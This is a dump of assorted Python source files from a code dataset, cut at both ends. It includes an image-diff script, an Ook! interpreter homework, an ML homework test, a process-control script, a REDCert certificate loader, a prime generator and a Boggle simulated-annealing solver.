communicator.disconnect()\n","sub_path":"manager/subscription/tests/test_time_data.py","file_name":"test_time_data.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"141482054","text":"#!/usr/bin/python3\n\nimport csv\nimport sys\nfrom datetime import datetime\nimport os\nfrom os import listdir\nimport fnmatch\nimport PIL\nfrom PIL import Image\nfrom PIL import ImageChops\n\n# Defining the timestamp upfront:\nnow = datetime.now()\ndatestamp = now.strftime(\"%m%d%Y-%H%M\")\n# print(datestamp) # debug printing timestamp (only date, really)\n\n\n###################################################\n# READING THE CSV DOMAINS LIST\n###################################################\nwith open('domains-2.csv') as domainCSV:\n\n readCSV = csv.DictReader(domainCSV, delimiter=',')\n for row in readCSV:\n # print (row['\\ufeffdomains']) # Debug to test that domains are read correctly\n\n domainname = row['\\ufeffdomains'] # This defines the domains\n simplename = row['simplename'] # This defines the simplename\n outputfilename = simplename + '-' + datestamp + '.png'\n outputfilenamejpg = simplename + '-' + datestamp + '.jpg'\n\n\n ###################################################\n # GETTING THE TWO MOST RECENT FILES FOR COMPARISON\n ###################################################\n path = simplename\n files = sorted(fnmatch.filter(os.listdir(path), \"*.jpg\")) # Defined a sorted-by-name, only .jpg file list\n\n file_First = files[0] # Define the most recent image\n file_Second = files[1] # Define the second most recent image\n # print(file_First) # Debug to test definition\n # print(file_Second) # Debug to test definition\n\n\n\n ###################################################\n # COMPARE DIFFERENCES\n ###################################################\n path_one = path + '/' + file_First\n path_two = path + '/' + file_Second\n output_comparisons = path + '/' + \"recent-differences.jpg\"\n\n def compare_images(path_one, path_two, output_comparisons):\n image1 = Image.open(path_one, mode='r')\n image2 = Image.open(path_two, mode='r')\n\n diff = ImageChops.difference(image1, image2)\n diff.save(output_comparisons)\n #Flag = 1 if ImageChops.difference(image1, image2).getbbox() == None else 0\n\n #print (Flag)\n #out = abs(image1 - image2)\n #if diff.getbbox():\n\n ###################################################\n # VIEWING DIFFERENCES IN REALTIME\n ###################################################\n # differencesimage = Image.open(output_comparisons)\n # differencesimage.show() \n\n compare_images(path_one, path_two, output_comparisons)\n\n\n\n\n\n\n\n\n","sub_path":"Development Files/compare-differences.py","file_name":"compare-differences.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"441176403","text":"import io\nimport sys\nimport time\nimport traceback\n\nfrom contextlib import redirect_stdout\nfrom enum import Enum\nfrom functools import wraps\nfrom urllib.request import urlopen\nfrom urllib.error import HTTPError, URLError\n\n\nclass assert_raises:\n def __init__(self, raise_error):\n self._error = raise_error\n\n def __enter__(self):\n pass\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n if exc_type is None:\n return True\n if issubclass(exc_type, self._error):\n return True\n if exc_type is None:\n raise AssertionError(\n \"did not raise {!r}\".format(self._error.__name__)\n )\n\n\nclass closing:\n def __init__(self, handle):\n self.handle = handle\n\n def __enter__(self):\n return self.handle\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.handle.close()\n\n\nclass log_exceptions:\n def __enter__(self):\n pass\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n if exc_type is None:\n return True\n traceback.print_exception(exc_type, exc_val, exc_tb, file=sys.stderr)\n return True\n\n\ndef with_context(context):\n def decorator(func):\n wraps(func)\n\n def inner(*args, **kwargs):\n with context:\n func(*args, **kwargs)\n return inner\n return decorator\n\nhandle = io.StringIO()\n\n\n@with_context(redirect_stdout(handle))\ndef f():\n print(\"Anton\")\n\n\nclass Op(Enum):\n NEXT = (\"Ook.\", \"Ook?\")\n PREV = (\"Ook?\", \"Ook.\")\n INC = (\"Ook.\", \"Ook.\")\n DEC = (\"Ook!\", \"Ook!\")\n PRINT = (\"Ook!\", \"Ook.\")\n INPUT = (\"Ook.\", \"Ook!\")\n START_LOOP = (\"Ook!\", \"Ook?\")\n END_LOOP = (\"Ook?\", \"Ook!\")\n\n\ndef ook_tokenize(code):\n code_commands = code.split()\n result_tokens = []\n len_code = len(code_commands)\n for x, y in zip(code_commands[0:len_code:2], code_commands[1:len_code:2]):\n result_tokens.append(Op((x, y)))\n return result_tokens\n\n\ndef get_pair(tokens):\n pair = {}\n stack = []\n for i, val in enumerate(tokens):\n if val is Op.START_LOOP:\n stack.append(i)\n if val is Op.END_LOOP:\n prev = stack.pop()\n pair[prev] = i\n pair[i] = prev\n return pair\n\n\ndef ook_eval(code, *, memory_limit=2**16):\n tokens = ook_tokenize(code)\n memory = [0] * memory_limit\n memory_pointer = 0\n stack = []\n token_pointer = 0\n end_len = len(tokens)\n pair = get_pair(tokens)\n while token_pointer < end_len:\n op = tokens[token_pointer]\n if op is Op.END_LOOP:\n token_pointer = stack.pop()\n continue\n if op is Op.INC:\n memory[memory_pointer] += 1\n elif op is Op.DEC:\n memory[memory_pointer] -= 1\n elif op is Op.NEXT:\n memory_pointer += 1\n elif op is Op.PREV:\n memory_pointer -= 1\n elif op is Op.INPUT:\n memory[memory_pointer] = ord(sys.stdin.read(1))\n elif op is Op.PRINT:\n sys.stdout.write(chr(memory[memory_pointer]))\n elif op is Op.START_LOOP:\n if memory[memory_pointer] == 0:\n token_pointer = pair[token_pointer]\n else:\n stack.append(token_pointer)\n token_pointer += 1\n\n\nclass Pipe:\n def __init__(self, url):\n self.url = url\n\n def _request(self, data=None):\n is_ok = False\n result = None\n while not is_ok:\n try:\n with urlopen(self.url, data) as page:\n result = page.read().decode(\"utf-8\")\n is_ok = True\n except HTTPError as error:\n if error.code < 500:\n raise RuntimeError(\"unexpected status code\") from error\n except URLError as error:\n pass\n return result\n\n def pull(self):\n result = self._request()\n token, code = result.split(\"\\n\")\n return token, code\n\n def push(self, token, result):\n data = (token + \"\\n\" + result).encode(\"utf-8\")\n self._request(data)\n\n def loop(self, cnt, interval=2):\n for i in range(cnt):\n start_time = time.perf_counter()\n token, code = self.pull()\n handle = io.StringIO()\n with redirect_stdout(handle):\n ook_eval(code)\n self.push(token, handle.getvalue())\n end_time = time.perf_counter()\n time_to_sleep = max(0, interval - (end_time - start_time))\n time.sleep(time_to_sleep)\n\n\ndef main():\n f()\n print(handle.getvalue())\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"python/hw7/anton_gulikov_07.py","file_name":"anton_gulikov_07.py","file_ext":"py","file_size_in_byte":4643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"253574976","text":"from hw7 import *\nimport hw7\nimport unittest\n\nfrom contextlib import redirect_stdout\nimport io\n\nfrom sklearn.linear_model import SGDClassifier, LogisticRegression\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import cross_val_predict\nfrom sklearn.metrics import confusion_matrix\nimport numpy as np, random\nimport matplotlib.pyplot as plt\nimport scipy.io as sio\n\n\"\"\"\nGRADING!!!! Discuss rubric with SL's about plot each semester.\nThe test is for 80 pts. The other 20 is the plot.\n\"\"\"\n\n\"\"\"\nFiles required:\nhw7.py, mnist-original.mat\nX_correct.npy, y_correct.npy\nX_train_correct.npy, y_train_correct.npy\nX_test_correct.npy, y_test_correct.npy\nconfusion_matrix_SGD_correct.npy, probability_matrix_SGD_correct.npy\nmain_out_correct.txt\n\"\"\"\n\nclass TestAssignment7(unittest.TestCase):\n def setUp(self):\n np.random.seed(42)\n \n def test_get_data(self):\n X_correct = np.load('X_correct.npy')\n y_correct = np.load('y_correct.npy')\n X, y = get_data()\n self.assertTrue((X_correct == X).all())\n self.assertTrue((y_correct == y).all())\n \n def test_get_train_and_test_sets(self): \n X = np.load('X_correct.npy')\n y = np.load('y_correct.npy')\n X_train_correct = np.load('X_train_correct.npy')\n X_test_correct = np.load('X_test_correct.npy')\n y_train_correct = np.load('y_train_correct.npy')\n y_test_correct = np.load('y_test_correct.npy')\n X_train, X_test, y_train, y_test = get_train_and_test_sets(X, y)\n self.assertTrue((X_train_correct == X_train).all())\n self.assertTrue((X_test_correct == X_test).all())\n self.assertTrue((y_train_correct == y_train).all())\n self.assertTrue((y_test_correct == y_test).all())\n \n def test_train_to_data(self):\n X = np.load('X_train_correct.npy')\n y = np.load('y_train_correct.npy')\n model = train_to_data(X[:100], y[:100], 'SGD')\n self.assertEqual(type(model), SGDClassifier)\n self.assertEqual(0.0001, model.alpha)\n self.assertEqual(0.001, model.tol)\n self.assertEqual(200, model.max_iter)\n self.assertEqual('hinge', model.loss)\n\n model = train_to_data(X[:100], y[:100], 'LogisticRegression')\n self.assertEqual(type(model), LogisticRegression)\n self.assertEqual(1.0, model.C)\n self.assertEqual(0.0001, model.tol)\n self.assertEqual(100, model.max_iter)\n self.assertEqual('multinomial', model.multi_class)\n self.assertEqual('lbfgs', model.solver)\n \n model = train_to_data(X[:100], y[:100], 'SVM')\n self.assertEqual(type(model), SVC)\n self.assertEqual(1.0, model.C)\n self.assertEqual(0.001, model.tol)\n #self.assertEqual(100, model.max_iter)\n self.assertEqual('poly', model.kernel)\n\n def test_get_confusion_matrix(self):\n X = np.load('X_train_correct.npy')\n y = np.load('y_train_correct.npy')\n test_X = np.load('X_test_correct.npy')\n test_y = np.load('y_test_correct.npy')\n np.random.seed(25)\n random.seed(25)\n model = train_to_data(X, y, 'SGD')\n cm = get_confusion_matrix(model, test_X, test_y)\n \n cm_correct = np.load('confusion_matrix_SGD_correct.npy')\n self.assertTrue((cm_correct == cm).all())\n \n def test_probability_matrix(self):\n cm = np.load('confusion_matrix_SGD_correct.npy')\n pm = probability_matrix(cm)\n \n pm_correct = np.load('probability_matrix_SGD_correct.npy')\n \n # make sure the confusion matrix hasn't been altered:\n self.assertTrue((np.load('confusion_matrix_SGD_correct.npy') == cm).all())\n self.assertTrue((pm_correct == pm).all())\n \ntest = unittest.defaultTestLoader.loadTestsFromTestCase(TestAssignment7)\nresults = unittest.TextTestRunner().run(test)\nprint('Correctness score = ', str((results.testsRun - len(results.errors) - len(results.failures)) / results.testsRun * 80) + ' / 80')\nmain()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"hw7/hw7_test.py","file_name":"hw7_test.py","file_ext":"py","file_size_in_byte":4022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"10886556","text":"#\n# (c) 2012 Commonwealth of Australia\n# Australian Bureau of Meteorology, COSPPac COMP\n# All Rights Reserved\n#\n# Authors: Danielle Madeley \n\nfrom distutils.dist import Distribution\n\nclass PortalDist(Distribution):\n def __init__(self, attrs=None):\n self.web_files = None\n self.html_files = None\n\n Distribution.__init__(self, attrs)\n","sub_path":"localdistutils/dist.py","file_name":"dist.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"346352176","text":"# Import\r\nimport sys\r\nsys.path.append(\"../\")\r\n\r\n# Import\r\nfrom apm import *\r\n\t\r\n# Select server\r\nserver = 'http://byu.apmonitor.com'\r\n\r\n# Application name\r\napp = 'nlc'\r\n\r\n# Clear previous application\r\napm(server,app,'clear all')\r\n\r\n# Load model file\r\napm_load(server,app,'tank.apm')\r\n\r\n# Load time points for future predictions\r\ncsv_load(server,app,'tank.csv')\r\n\r\n# Load replay replay data for local use\r\ndata = csv.reader(open('replay.csv', 'r'))\r\n#data = csv.reader(open('replay1.csv', 'r'))\r\n#data = csv.reader(open('replay2.csv', 'r'))\r\n#data = csv.reader(open('replay3.csv', 'r'))\r\nreplay = []\r\nfor row in data:\r\n\treplay.append(row)\r\nlen_replay = len(replay)\r\n\r\n# APM Variable Classification\r\n# class = FV, MV, SV, CV\r\n# F or FV = Fixed value - parameter may change to a new value every cycle\r\n# M or MV = Manipulated variable - independent variable over time horizon\r\n# S or SV = State variable - model variable for viewing\r\n# C or CV = Controlled variable - model variable for control\r\nFVs = 'kc','taui','taud','op_bias'\r\nMVs = 'percent_open[1]','sp'\r\nSVs = 'percent_open[2]','pv[1]','op[1]','pv[2]','op[2]', \\\r\n'inlet_flow[1]','outlet_flow[1]', \\\r\n'inlet_flow[2]','outlet_flow[2]', \\\r\n'proportional','integral','derivative', \\\r\n'error[1]','error[2]'\r\nCVs = 'volume[1]','volume[2]'\r\n\r\n# Set up variable classifications for data flow\r\nfor x in FVs: apm_info(server,app,'FV',x)\r\nfor x in MVs: apm_info(server,app,'MV',x)\r\nfor x in SVs: apm_info(server,app,'SV',x)\r\nfor x in CVs: apm_info(server,app,'CV',x)\r\n\r\n# Options\r\n\r\n# imode (1=ss, 2=mpu, 3=rto, 4=sim, 5=mhe, 6=nlc)\r\napm_option(server,app,'nlc.imode',6)\r\n\r\n# controller mode (1=simulate, 2=predict, 3=control)\r\n#apm_option(server,app,'nlc.reqctrlmode',3)\r\n\r\n# time units (1=sec,2=min,3=hrs,etc)\r\napm_option(server,app,'nlc.ctrl_units',1)\r\n\r\n# set controlled variable error model type\r\napm_option(server,app,'nlc.cv_type',1)\r\napm_option(server,app,'nlc.ev_type',1)\r\napm_option(server,app,'nlc.reqctrlmode',3)\r\n\r\n# read discretization from CSV file\r\napm_option(server,app,'nlc.csv_read',1)\r\n\r\n# turn on historization to see past results\r\napm_option(server,app,'nlc.hist_hor',500)\r\n\r\n# set web plot update frequency\r\napm_option(server,app,'nlc.web_plot_freq',10)\r\n\r\n\r\n# Objective for Nonlinear Control\r\n\r\n# Controlled variable (c)\r\napm_option(server,app,'volume[1].sp',500)\r\napm_option(server,app,'volume[1].sphi',520)\r\napm_option(server,app,'volume[1].splo',480)\r\napm_option(server,app,'volume[2].sp',500)\r\napm_option(server,app,'volume[2].sphi',520)\r\napm_option(server,app,'volume[2].splo',480)\r\napm_option(server,app,'volume[1].tau',40.0)\r\napm_option(server,app,'volume[2].tau',40.0)\r\napm_option(server,app,'volume[1].status',1)\r\napm_option(server,app,'volume[2].status',0)\r\napm_option(server,app,'volume[1].fstatus',0)\r\napm_option(server,app,'volume[2].fstatus',0)\r\n\r\n# Manipulated variables (u)\r\napm_option(server,app,'percent_open[1].upper',100)\r\napm_option(server,app,'percent_open[1].dmax',50)\r\napm_option(server,app,'percent_open[1].lower',0)\r\napm_option(server,app,'percent_open[1].status',1)\r\napm_option(server,app,'percent_open[1].fstatus',0)\r\n\r\nfor isim in range(1, len_replay-1):\r\n\tprint('')\r\n\tprint('--- Cycle %i of %i ---' %(isim,len_replay-2))\r\n\r\n\t# allow server to process other requests\r\n\ttime.sleep(0.1)\r\n\r\n\tfor x in FVs:\r\n\t\tvalue = csv_element(x,isim,replay)\r\n\t\tif (not math.isnan(value)):\r\n\t\t\tresponse = apm_meas(server,app,x,value)\r\n\t\t\tprint(response)\r\n\tfor x in MVs:\r\n\t\tvalue = csv_element(x,isim,replay)\r\n\t\tif (not math.isnan(value)):\r\n\t\t\tresponse = apm_meas(server,app,x,value)\r\n\t\t\tprint(response)\r\n\tfor x in CVs:\r\n\t\tvalue = csv_element(x,isim,replay)\r\n\t\tif (not math.isnan(value)):\r\n\t\t\tresponse = apm_meas(server,app,x,value)\r\n\t\t\tprint(response)\r\n\r\n\t# schedule a set point change at cycle 40\r\n\t#if (isim==4): apm_option(server,app,'volume.sp',50)\r\n\r\n\t# Run NLC on APM server\r\n\tsolver_output = apm(server,app,'solve')\r\n\tprint(solver_output)\r\n\tprint(\"Finished Solving\")\r\n\t\r\n\t# Retrieve results\r\n\tarray = apm_sol(server,app)\r\n\r\n\t#if (isim==1):\r\n\t#\t# Open Web Viewer and Display Link\r\n\t#\tprint(\"Opening web viewer\")\r\n\t#\turl = apm_web(server,app)\r\n\r\n\t# Retrieve results (MEAS,MODEL,NEWVAL)\r\n\t# MEAS = FV, MV,or CV measured values\r\n\t# MODEL = SV & CV predicted values\r\n\t# NEWVAL = FV & MV optimized values\r\n\r\nprint('--- Available Variables ---')\r\nprint(array.keys())\r\n\r\n# Plotting\r\nfrom matplotlib import pyplot\r\nx = array['time']\r\nprint(x)\r\ny = array['percent_open[1]']\r\npyplot.plot(x, y)\r\npyplot.xlabel('Time')\r\npyplot.ylabel('Percent Open')\r\npyplot.show()\r\n","sub_path":"apm_python/example_tank_nlc/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"477374707","text":"import sys, os\nimport django\nimport csv\nimport calendar\nimport datetime\nimport re\nimport argparse\nimport openpyxl\nimport pandas as pd\nfrom typing import TYPE_CHECKING, Dict, List, Optional\nfrom pandas._typing import FilePathOrBuffer, Scalar\n\nfrom django.core.mail import send_mail\nfrom django.db import transaction\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"carbure.settings\")\ndjango.setup()\n\nfrom certificates.models import REDCertScope, REDCertBiomassType, REDCertCertificate, REDCertCertificateScope, REDCertCertificateBiomass\n\ntoday = datetime.date.today()\nCSV_FOLDER = os.environ['CARBURE_HOME'] + '/web/fixtures/csv/'\n\ndef get_sheet_data(sheet, convert_float: bool) -> List[List[Scalar]]:\n data: List[List[Scalar]] = []\n for row in sheet.rows:\n data.append([convert_cell(cell, convert_float) for cell in row])\n return data\n\n\ndef convert_cell(cell, convert_float: bool) -> Scalar:\n from openpyxl.cell.cell import TYPE_BOOL, TYPE_ERROR, TYPE_NUMERIC\n\n if cell.is_date:\n return cell.value\n elif cell.data_type == TYPE_ERROR:\n return np.nan\n elif cell.data_type == TYPE_BOOL:\n return bool(cell.value)\n elif cell.value is None:\n return \"\" # compat with xlrd\n elif cell.data_type == TYPE_NUMERIC:\n # GH5394\n if convert_float:\n val = int(cell.value)\n if val == cell.value:\n return val\n else:\n return float(cell.value)\n\n return cell.value\n\n\n@transaction.atomic\ndef load_biomass_types(existing_biomass_types):\n new = []\n filename = '%s/redcert_biomass.csv' % (CSV_FOLDER)\n csvfile = open(filename, 'r')\n reader = csv.DictReader(csvfile, delimiter=',', quotechar='\"')\n i = 0\n for row in reader:\n i += 1\n code = row['code']\n desc_fr = row['desc_fr']\n desc_en = row['desc_en']\n desc_de = row['desc_de']\n if code not in existing_biomass_types:\n new.append((code, desc_de))\n print('loading %s' % (code))\n try:\n o, c = REDCertBiomassType.objects.update_or_create(code=code, defaults={'description_fr': desc_fr, 'description_de': desc_de, 'description_en': desc_en})\n except:\n print('failed')\n return i, new\n\n@transaction.atomic\ndef load_scopes(existing_scopes):\n new = []\n filename = '%s/redcert_scopes.csv' % (CSV_FOLDER)\n csvfile = open(filename, 'r')\n reader = csv.DictReader(csvfile, delimiter=',', quotechar='\"')\n i = 0\n for row in reader:\n i += 1\n scope = row['scope']\n desc_fr = row['desc_fr']\n desc_en = row['desc_en']\n desc_de = row['desc_de']\n if scope not in existing_scopes:\n new.append((scope, desc_de))\n print('loading %s' % (scope))\n try:\n o, c = REDCertScope.objects.update_or_create(scope=scope, defaults={'description_fr': desc_fr, 'description_de': desc_de, 'description_en': desc_en})\n except:\n print('failed')\n return i, new\n\ndef load_certificates(existing_certificates, scopes, biomass):\n new = []\n invalidated = []\n failed = []\n\n added_scopes = []\n removed_scopes = []\n added_biomass = []\n removed_biomass = []\n\n filename = '%s/REDcert-certificates.xlsx' % (CSV_FOLDER)\n wb = openpyxl.load_workbook(filename, data_only=True)\n sheet = wb.worksheets[0]\n data = get_sheet_data(sheet, convert_float=True)\n column_names = data[0]\n data = data[1:]\n df = pd.DataFrame(data, columns=column_names)\n df.fillna('', inplace=True)\n total_certs = len(df) \n print(total_certs)\n i = 0\n transaction.set_autocommit(False)\n for row in df.iterrows():\n i += 1\n cert = row[1]\n #Identifier REDcert²-929-35291088\n #Name of the certificate holder Quantafuel ASA\n #City Oslo\n #Post code 238\n #Country Norwegen\n #Valid from 01.03.2021\n #Valid until 28.02.2022\n #Certified as 801,901\n #Certification body TÜV NORD CERT GmbH\n #Type Certificate REDcert² Chem\n #State Valid\n #Type of biomass \n valid_from = datetime.datetime.strptime(cert['Valid from'], \"%d.%m.%Y\").date()\n valid_until = datetime.datetime.strptime(cert['Valid until'], \"%d.%m.%Y\").date()\n if cert.Identifier not in existing_certificates:\n new.append(cert)\n else:\n # existing certificate, check if valid_until has changed\n existingcert = existing_certificates[cert['Identifier']]\n if valid_until <= existingcert.valid_until:\n invalidated.append((cert, existingcert))\n d = {'certificate_holder': cert['Name of the certificate holder'],\n 'city': cert['City'],\n 'zip_code': cert['Post code'],\n 'country_raw': cert['Country'],\n 'valid_from': valid_from,\n 'valid_until': valid_until,\n 'certificator': cert['Certification body'],\n 'certificate_type': cert['Type'],\n 'status': cert['State']\n }\n try:\n o, c = REDCertCertificate.objects.update_or_create(certificate_id=cert['Identifier'], defaults=d)\n except Exception:\n print('failed')\n failed.append(cert)\n continue\n # scopes\n existing_scopes = {s.scope.scope: s for s in o.redcertcertificatescope_set.all()}\n cert_scopes = str(cert['Certified as']).split(',')\n for s in cert_scopes:\n s = s.strip()\n if s == '':\n continue \n if s not in scopes:\n print('Could not find scope [%s] in REDCert scopes' % (s))\n print(scopes)\n else:\n # did we already have it\n if s in existing_scopes:\n del existing_scopes[s]\n else:\n certscope, c = REDCertCertificateScope.objects.update_or_create(certificate=o, scope=scopes[s])\n added_scopes.append((o, certscope))\n if len(existing_scopes) != 0:\n for es in existing_scopes.values():\n removed_scopes.append((o, es))\n es.delete()\n\n # biomasses\n existing_biomasses = {s.biomass.code: s for s in o.redcertcertificatebiomass_set.all()}\n cert_biomass = cert['Type of biomass'].replace('/', ',').split(',')\n for b in cert_biomass:\n b = b.strip()\n if b == '':\n continue\n if b not in biomass:\n print('Could not find biomass [%s] in REDCert biomass' % (b))\n print(biomass)\n else:\n # did we already have it\n if b in existing_biomasses:\n del existing_biomasses[b]\n else:\n certbiomass, c = REDCertCertificateBiomass.objects.update_or_create(certificate=o, biomass=biomass[b])\n added_biomass.append((o, certbiomass))\n if len(existing_biomasses) != 0:\n for es in existing_biomasses.values():\n removed_biomass.append((o, es))\n es.delete()\n\n if i % 250 == 0:\n print(i)\n transaction.commit()\n transaction.commit()\n transaction.set_autocommit(True)\n return i, new, invalidated, failed, added_scopes, removed_scopes, added_biomass, removed_biomass\n\ndef summary(args, new_biomass, new_scopes, new_certificates, newly_invalidated_certificates, failed, nb_certificates, added_scopes, removed_scopes, added_biomass, removed_biomass):\n mail_content = \"Hallo,
\\n\"\n mail_content += \"Das Kärgement für zertificaten REDCert ist gut.
\\n\"\n mail_content += \"%d zertificaten loaded
\\n\" % (nb_certificates)\n \n if len(new_biomass):\n for nb in new_biomass:\n mail_content += \"Nouveau type de biomasse enregistré: %s - %s
\\n\" % (nb[0], nb[1])\n\n if len(new_scopes):\n for ns in new_scopes:\n mail_content += \"Nouveau scope enregistré: %s - %s
\\n\" % (ns[0], ns[1])\n\n if len(new_certificates):\n mail_content += \"Nouveaux certificats enregistrés:
\\n\"\n for nc in new_certificates:\n mail_content += '%s - %s' % (nc['Identifier'], nc['Name of the certificate holder'])\n mail_content += '
'\n\n if len(failed):\n for nc in failed:\n mail_content += \"Impossible d'enregistrer le certificat suivante:
\\n\"\n mail_content += str(nc)\n mail_content += '
'\n\n fraud = False\n if len(newly_invalidated_certificates):\n for (nic, previous) in newly_invalidated_certificates:\n if nic['Name of the certificate holder'] == previous.certificate_holder:\n fraud = True\n mail_content += \"**** ACHTUNG certificat invalidé *****
\"\n mail_content += str(nic)\n mail_content += '
'\n mail_content += \"Date de validité précédente: %s
\" % (previous.valid_until)\n mail_content += str(previous.natural_key())\n mail_content += '
'\n\n subject = \"Certificats REDCert\"\n if fraud:\n subject += ' - ACHTUNG FRAUDE -'\n if args.email:\n dst = ['carbure@beta.gouv.fr']\n if args.test:\n dst = ['martin.planes@beta.gouv.fr'] \n send_mail(subject, mail_content, 'carbure@beta.gouv.fr', dst, fail_silently=False)\n else:\n print(mail_content)\n \n\ndef main(args):\n biomasses = {b.code: b for b in REDCertBiomassType.objects.all()}\n nb_biomass, new_biomass = load_biomass_types(biomasses)\n if len(new_biomass):\n biomasses = {b.code: b for b in REDCertBiomassType.objects.all()}\n\n scopes = {s.scope: s for s in REDCertScope.objects.all()}\n nb_scopes, new_scopes = load_scopes(scopes)\n if len(new_scopes):\n scopes = {s.scope: s for s in REDCertScope.objects.all()}\n\n certificates = {c.certificate_id: c for c in REDCertCertificate.objects.prefetch_related('redcertcertificatescope_set', 'redcertcertificatebiomass_set').all()}\n nb_certificates, new_certificates, newly_invalidated_certificates, failed, added_scopes, removed_scopes, added_biomass, removed_biomass = load_certificates(certificates, scopes, biomasses)\n\n summary(args, new_biomass, new_scopes, new_certificates, newly_invalidated_certificates, failed, nb_certificates, added_scopes, removed_scopes, added_biomass, removed_biomass)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Load REDCert certificates in database')\n parser.add_argument('--email', dest='email', action='store_true', default=False, help='Send a summary email')\n parser.add_argument('--test', dest='test', action='store_true', default=False, help='Send summary email to developers') \n args = parser.parse_args() \n main(args)\n","sub_path":"web/fixtures/load_redcert_certificates.py","file_name":"load_redcert_certificates.py","file_ext":"py","file_size_in_byte":11346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"351007613","text":"'''\r\nCreated on Mar 30, 2020\r\n\r\n@author: Isaac\r\n\r\nInitialize this class to test if numbers are prime or not.\r\n\r\n'''\r\n\r\nsetOfPrimes = {2,3,5,7,11}\r\ncurrMax = 11\r\n\r\ndef genNextPrime(number):\r\n\r\n current = number\r\n divisible = False\r\n found = False\r\n \r\n while not found:\r\n \r\n testprimes = set(setOfPrimes)\r\n \r\n while not divisible and len(testprimes) != 0:\r\n \r\n if current % testprimes.pop() == 0:\r\n divisible = True\r\n \r\n if not divisible:\r\n return current\r\n else:\r\n divisible = False\r\n current += 1\r\n \r\n \r\n \r\n\r\ndef genPrimes(increment = len(setOfPrimes)):\r\n \r\n global currMax\r\n \r\n for i in range(0,increment):\r\n \r\n currMax = genNextPrime(currMax)\r\n setOfPrimes.add(currMax)\r\n \r\ndef isPrime(number):\r\n \r\n if number > currMax:\r\n genPrimes()\r\n return isPrime(number)\r\n \r\n if number < 2:\r\n return -1\r\n \r\n if not isinstance(number, int):\r\n raise TypeError('Needs type Int')\r\n \r\n return setOfPrimes.__contains__(number)\r\n\r\ngenPrimes(100)\r\n","sub_path":"PythonWoo/Testing/PrimeNumberGen.py","file_name":"PrimeNumberGen.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"63420627","text":"'''\nCreated on Jun 17, 2011\n\n@author: Daniel\n'''\n\nimport copy, math, random, gc\nfrom boggle import trie, board\nfrom multiprocessing import Queue, Process\n\nclass annealing(object):\n '''\n Annealing class returns best board after applying simulated annealing algorithm\n '''\n\n def __init__(self, proc, iter, filename, size, retries):\n '''\n Constructor\n '''\n self.proc = proc\n self.iter = iter\n self.dict = trie.trie()\n self.dict.readDict(filename)\n self.size = size\n self.board = board.board(size, self.dict)\n self.retries = retries\n \n def worker(self, q, startboard):\n '''\n The main task of annealing that will be split up for different processes to work on. Places its finished work on\n a multi-prossess queue.\n \n parameters:\n q - type multiprocessing.Queue\n startboard - type nested list representing game board\n '''\n def _schedule(t):\n return ((self.iter - t)*100)/self.iter\n \n cur_board = board.board(self.size, self.dict)\n cur_board.board = copy.deepcopy(startboard)\n cur_board.score = cur_board.find_max()\n \n next_board = board.board(self.size, self.dict)\n next_board.board = copy.deepcopy(startboard)\n \n #print \"cur:\", cur_board\n #print \"next:\", next_board\n T = 0\n \n for i in range(self.iter):\n T = _schedule(i)\n if T == 0:\n break\n \n next_board.smart_permute()\n score = next_board.find_max()\n delta_e = score - cur_board.score\n \n if delta_e > 0:\n cur_board.board = copy.deepcopy(next_board.board)\n cur_board.score = score\n cur_board.words = next_board.words\n elif ( random.random() < (math.exp(float(delta_e) / float(T))) ):\n cur_board.board = copy.deepcopy(next_board.board)\n cur_board.score = score\n cur_board.words = next_board.words\n else:\n next_board.board = copy.deepcopy(cur_board.board)\n \n q.put((cur_board.score, cur_board.board, cur_board.words))\n \n def start(self):\n q = Queue()\n startboard = board.board(self.size, self.dict)\n startboard = startboard.board\n \n for i in range(self.retries):\n processes = [Process(target=self.worker, args=(q, startboard,)) for i in range(self.proc)]\n # Start all the worker threads, and wait for them to finish\n for p in processes:\n p.start()\n for p in processes:\n p.join()\n \n # When the workers are done, check the results which they placed in the queue.\n res = []\n for i in range(self.proc):\n res.append(q.get())\n \n # Take the best one, and tell them all to start again using this best found board\n max_score = 0\n max_board = []\n for x,y,z in res:\n if x > max_score:\n max_score = x\n max_board = y\n \n startboard = max_board\n \n # Once we have done all repeats, find the best candidate from the final round and return it\n max_score = 0\n for x,y,z in res:\n if x > max_score:\n max_score = x\n self.board.score = x\n self.board.board = y\n self.board.words = z\n return self.board\n \n ","sub_path":"boggle_tests/annealing.py","file_name":"annealing.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"633435272","text":"import csv\nimport random\nimport numpy as np\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import KFold\n\nclass arquivo(object):\n\n ## abre o arquivo e armazena os dados numa matriz 'dataset'\n def abrir(self, nome_arquivo):\n self.nome_arquivo = nome_arquivo\n \n ## obtendo dados do arquivo (csv)\n with open(self.nome_arquivo, 'rb') as csvfile:\n \n full_data = csv.reader(csvfile)\n \n ## armazenando dados em uma lista\n self.dataset_original = list(full_data)\n\n ## aleatorizando o conjunto lido\n self.dataset = []\n while len(self.dataset_original) != 0:\n inst = 